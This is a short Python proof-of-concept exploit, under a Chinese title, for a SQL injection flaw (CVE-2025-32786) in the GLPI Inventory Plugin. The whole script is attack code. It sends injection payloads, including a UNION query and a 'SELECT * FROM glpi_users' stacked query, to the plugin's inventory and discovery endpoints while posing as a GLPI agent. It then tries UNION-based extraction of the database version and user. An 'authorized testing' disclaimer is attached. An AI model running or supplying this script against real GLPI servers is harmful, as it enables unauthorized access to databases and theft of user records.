CVE-2025-32786 GLPI Inventory Plugin SQL注入漏洞

# CVE-2025-32786 SQL Injection PoC # Target: GLPI Inventory Plugin <= 1.5.0 # Author: Security Researcher # Note: This is a proof-of-concept for authorized security testing only import requests import sys def test_sql_injection(url, target_param): """ Test for SQL injection vulnerability in GLPI Inventory Plugin """ # Basic injection test payload payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "'; SELECT * FROM glpi_users--" ] headers = { 'User-Agent': 'GLPI-Inventory-Agent/1.0', 'Content-Type': 'application/x-www-form-urlencoded' } for payload in payloads: try: data = { target_param: payload, 'action': 'inventory' } response = requests.post( f"{url}/plugins/glpiinventory/front/inventory.php", data=data, headers=headers, timeout=10 ) # Check for SQL error indicators sql_errors = [ 'SQL syntax', 'MySQL server version', 'Warning: mysql', 'PDOException', 'SQLSTATE' ] for error in sql_errors: if error in response.text: print(f"[+] SQL Injection detected with payload: {payload}") print(f"[+] Error found: {error}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(url): """ Extract data using UNION-based injection (if vulnerable) """ # Example: Extract database version and current user union_payload = "' UNION SELECT @@version,user(),3,4,5--" headers = { 'User-Agent': 'GLPI-Inventory-Agent/1.0' } data = { 'ip': union_payload, 'action': 'discover' } try: response = requests.post( f"{url}/plugins/glpiinventory/front/discovery.php", data=data, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-32786.py <target_url>") print("Example: python cve-2025-32786.py http://vulnerable-glpi.local") sys.exit(1) target_url = sys.argv[1] print(f"[*] Testing CVE-2025-32786 on {target_url}") if test_sql_injection(target_url, 'ip'): print("[!] Target is likely vulnerable!") print("[*] Attempting data extraction...") extract_data(target_url) else: print("[-] No obvious SQL injection detected")